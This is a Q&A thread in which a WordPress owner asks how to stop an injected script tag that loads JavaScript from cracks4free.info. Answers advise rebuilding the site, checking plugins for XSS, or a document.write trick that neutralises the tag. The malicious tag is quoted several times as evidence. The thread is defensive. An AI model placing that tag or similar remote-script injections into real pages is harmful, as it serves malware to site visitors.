防止恶意软件javascript执行

Question

i am using a wordpress site, and i found a malware script, whenever i try to save page and click on text panel in WYSIWYG, a malware javascript tag is automatically added to the page. here is the script that is automatically added.

<script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""></script>

i tried to remove the src file by the following code. but it didn't work, The script executes last before the closing of body tag. I tried using this script, but the malware script loads after all javascript loaded. here is my code.

<script type="text/javascript">
$("script[src='http://cracks4free.info/5/adds.js']").remove()
</script> 

I need to remove this code, or prevent this code from executing through javasript, jquery, ajax anything.. Just want to get rid of this. Thanks

Answer 1

If your server has been compromised you need to rebuild it:

1. Export your existing content
2. Rebuild the box with an up to date wordpress version
3. Import your content
4. Regularly apply security updates

Trying to use javascript to clean up the content is not a solution. You've got a compromised Wordpress installation and it's a matter of time before some other script-kiddy adds their own personal touches, or something worse happens.

Answer 2

Seems like one of your Wordpress plugins is vulernable to XSS (cross-site scripting), i'd suggest you scan the web for vulnerabilities for this plugin. You can scan the source code of your plugins yourself for something that blindly sends the user back javascript without escaping it properly.

You should follow Hamish's advice, my suggestion is just included here so that you wouldn't reinstall the offending plugin.

Answer 3

You can inject the beginning of a new script tag right before your malware script executes via JavaScript:

document.write("<script type='application/x-suppress'>");

Basically here you are starting a new <script> block but not finishing it, assuming the very next thing that happens is the malware inserting it's block at the end

<script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""></script>

the final result will end up being

<script type='application/x-suppress'><script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""></script>

What will happen is the browser will see the first <script> tag and expect everything inside it to be JavaScript code. When it tries to parse the script ( <script type="text/javascript" src="http://cracks4free.info/5/adds.js" async=""> ) it will cause JavaScript parse errors and not do anything. At the very end, your <script> block is closed via the </script> provided by your malware.

The real question is, why do you have this malware and how can you get rid of it? Rather than trying to work around it.